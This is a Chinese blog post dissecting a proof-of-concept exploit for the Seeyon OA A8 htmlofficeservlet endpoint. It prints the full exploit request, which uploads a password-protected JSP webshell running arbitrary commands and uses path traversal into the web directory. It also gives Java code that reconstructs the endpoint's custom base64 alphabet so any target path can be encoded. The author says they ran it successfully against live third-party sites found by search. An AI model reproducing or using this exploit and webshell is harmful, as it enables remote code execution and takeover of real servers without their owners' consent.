致遠OA A8 poc中的編碼

從昨天就有這個poc的信息,其實我對web並不關心。今天又被刷屏了,有的說能利用,有的不能,所以看了下。

給出的poc如下:

POST /seeyon/htmlofficeservlet HTTP/1.1
Content-Length: 1119
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host:xxxx
Pragma: no-cache

DBSTEP V3.0     355             0               666             DBSTEP=OKMLlKlV
OPTION=S3WYOSWLBSGr
currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66
CREATEDATE=wUghPB3szB3Xwg66
RECORDID=qLSGw4SXzLeGw4V3wUw3zUoXwid6
originalFileId=wV66
originalCreateDate=wUghPB3szB3Xwg66
FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdN1liN4KXwiVGzfT2dEg6
needReadFile=yRWZdAS6
originalCreateDate=wLSGP4oEzLKAz4=iz=66
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp+"\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();} %><%if("asasd3344".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd")) + "</pre>");}else{out.println(":-)");}%>6e4f045d4b8506bf492ada7e3390d7ce

 

搜索了使用這個OA的,找到幾個域名,因爲我也是從新聞裏聽來的,所以細節都不清楚。嘗試使用域名替換後,還真成功了。

結合內容和FILENAME字段,猜測應該是把post的內容保存成文件到服務器。
而返回包中F:\upload\taohongTemp…\ApacheJetspeed\webapps\seeyon\test123456.jsp,猜測這就是保存的文件名,應該是利用路徑穿越,所以…\ApacheJetspeed\webapps\seeyon\test123456.jsp應該就是FILENAME的明文。密文:qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdN1liN4KXwiVGzfT2dEg6

對比發現qfTd qfTd qfTd 和 …\ …\ …\ 似乎存在某種關係。三個字符變成4個字符,猜測有可能是base64,明文53個字符、密文72個字符,剛好對應上,結合其他幾個字段,猜測6和=的作用類似。

HTTP/1.1 200 
Set-Cookie: JSESSIONID=E8A1A625F5FD3584D920DCABBE28A9B1; Path=/seeyon; HttpOnly
Date: Thu, 27 Jun 2019 10:41:16 GMT
Server: SY8045
Content-Length: 1247

DBSTEP V3.0     386             131             666             DBSTEP=OKMLlKlV
OPTION=S3WYOSWLBSGr
currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66
CREATEDATE=wUghPB3szB3Xwg66
RECORDID=qLSGw4SXzLeGw4V3wUw3zUoXwid6
originalFileId=wV66
originalCreateDate=wUghPB3szB3Xwg66
FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdN1liN4KXwiVGzfT2dEg6
needReadFile=yRWZdAS6
originalCreateDate=wLSGP4oEzLKAz4=iz=66
CLIENTIP=wLw5wLK3qUKsz7uEzg66
java.io.FileNotFoundException: F:\upload\taohongTemp\..\..\..\ApacheJetspeed\webapps\seeyon\test123456.jsp (ϵͳÕÒ²»µ½Ö¸¶¨µÄ·¾¶¡£)<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp+"\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();} %><%if("asasd3344".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd")) + "</pre>");}else{out.println(":-)");}%>

 

接下來進行驗證,隨便寫的代碼,懶得優化了

   public static byte[] test(String test, byte[] arr) {
        String code = "qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdN1liN4KXwiVGzfT2dEg6";
        byte[] tmp = code.getBytes();


        byte[] bytes = test.getBytes();
        int y = 0;
        for (int i = 0; i < bytes.length; i+=3, y+=4) {
            byte a1 = bytes[i];
            byte a2 = 0;
            if (i + 1 >= bytes.length) {

            } else {
                a2 = bytes[i+1];
            }
            byte a3 = 0;
            if (i + 2 >= bytes.length) {

            } else {
                a3 = bytes[i + 2];
            }

            int f1 = a1 >> 2 & 0x3f;
            System.out.println(f1);
            arr[f1] = tmp[y];

            if (i + 1 >= bytes.length) {
                int f2 = (a1 << 4) & 0x30;
                System.out.println(f2);
                arr[f2] = tmp[y+1];
                arr[64] = '6';
                return arr;
            }
            int f2 = (a1 << 4) & 0x30 | (a2 >> 4) & 0x0f;
            System.out.println(f2);
            arr[f2] = tmp[y+1];

            if (i + 2 >= bytes.length) {
                int f3 = (a2 << 2) & 0x3c;
                System.out.println(f3);
                arr[f3] = tmp[y+2];
                arr[64] = '6';
                return arr;
            }
            int f3 = (a2 << 2) & 0x3c | (a3 >> 6) & 0x03;
            System.out.println(f3);
            arr[f3] = tmp[y+2];

            int f4 = (a3 & 0x3f);
            System.out.println(f4);
            arr[f4] = tmp[y+3];





        }

        return arr;
    }
    

String s1 = "..\\..\\..\\ApacheJetspeed\\webapps\\seeyon\\test123456.jsp";

byte[] arr = new byte[65];
byte[] test = test(s1, arr);
System.out.println(new String(test));

 

得到一個不全的數組。

 

之後想辦法利用這個不全的base64的表去編碼一個路徑

   public static byte[] testBase64(String test, byte[] arr) {
//        String code = "qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdN1liN4KXwiVGzfT2dEg6";
//        byte[] tmp = code.getBytes();


        byte[] bytes = test.getBytes();
        int encodeLen = bytes.length;
        byte[] out = new byte[( encodeLen / 3 + (encodeLen % 3 == 0 ? 0 : 1) ) * 4];
        int y = 0;
        for (int i = 0; i < bytes.length; i+=3, y+=4) {
            byte a1 = bytes[i];
            byte a2 = 0;
            if (i + 1 >= bytes.length) {

            } else {
                a2 = bytes[i+1];
            }
            byte a3 = 0;
            if (i + 2 >= bytes.length) {

            } else {
                a3 = bytes[i + 2];
            }

            int f1 = a1 >> 2 & 0x3f;
            out[y] = arr[f1];
//            System.out.println((char) arr[f1]);
            if (out[y] == 0) {
                throw new RuntimeException("index "+f1+" null");
            }

            if (i + 1 >= bytes.length) {
                int f2 = (a1 << 4) & 0x30;
//                System.out.println(f2);
                out[y+1] = arr[f2];
                if (out[y+1] == 0) {
                    throw new RuntimeException();
                }
                out[y+2] = '6';
                out[y+3] = '6';
                return out;
            }
            int f2 = (a1 << 4) & 0x30 | (a2 >> 4) & 0x0f;
//            System.out.println(f2);
            out[y+1] = arr[f2];

            if (out[y+1] == 0) {
                throw new RuntimeException();
            }

            if (i + 2 >= bytes.length) {
                int f3 = (a2 << 2) & 0x3c;
//                System.out.println(f3);
                out[y+2] = arr[f3];

                if (out[y+2] == 0) {
                    throw new RuntimeException();
                }

                out[y+3] = '6';
                return out;
            }
            int f3 = (a2 << 2) & 0x3c | (a3 >> 6) & 0x03;
//            System.out.println(f3);
            out[y+2] = arr[f3];

            if (out[y+2] == 0) {
                throw new RuntimeException();
            }

            int f4 = (a3 & 0x3f);
//            System.out.println(f4);
            out[y+3] = arr[f4];

            if (out[y+3] == 0) {
                throw new RuntimeException();
            }



        }

        return out;
    }

s1 = "..\\..\\..\\ApacheJetspeed\\webapps\\seeyon\\test123457.jsp";
byte[] tp = testBase64(s1, test);
System.out.println(new String(tp));

 

把6改爲7,剛剛好還在已知的編碼範圍內。得到qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdN1liN4KXwiVGzXT2dEg6

替換包發送

HTTP/1.1 200 
Set-Cookie: JSESSIONID=0184F64259F38CDBBDF8E2232BDB6251; Path=/seeyon; HttpOnly
Date: Thu, 27 Jun 2019 10:57:33 GMT
Server: SY8045
Content-Length: 1247

DBSTEP V3.0     386             131             666             DBSTEP=OKMLlKlV
OPTION=S3WYOSWLBSGr
currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66
CREATEDATE=wUghPB3szB3Xwg66
RECORDID=qLSGw4SXzLeGw4V3wUw3zUoXwid6
originalFileId=wV66
originalCreateDate=wUghPB3szB3Xwg66
FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdN1liN4KXwiVGzXT2dEg6
needReadFile=yRWZdAS6
originalCreateDate=wLSGP4oEzLKAz4=iz=66
CLIENTIP=wLw5wLK3qUKsz7uEzg66
java.io.FileNotFoundException: F:\upload\taohongTemp\..\..\..\ApacheJetspeed\webapps\seeyon\test123457.jsp (ϵͳÕÒ²»µ½Ö¸¶¨µÄ·¾¶¡£)<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp+"\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();} %><%if("asasd3344".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd")) + "</pre>");}else{out.println(":-)");}%>

 

看到返回包正確解析出來了。確定了我們的猜測,還真就是base64編碼。那麼剩下的65-34=31未知的部分可以通過服務端來驗證了。例如只編碼字符“.”

第一個字符可以確定爲q,後兩位可以確定爲6。那麼枚舉剩下的31個字符,當服務器端返回的字符串中解析出“.”,就可知表索引32爲字符“=”。

 

最終補全base64表。

 

這是個websehll,通過這個接口保存post的內容並路徑穿越到web目錄,例如poc是保存一個jsp。

之後請求該jsp

 

 

至於漏洞代碼我不關心,很久以前學過JavaWeb,但是早就主動忘光了。權當再手寫一遍base64了。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章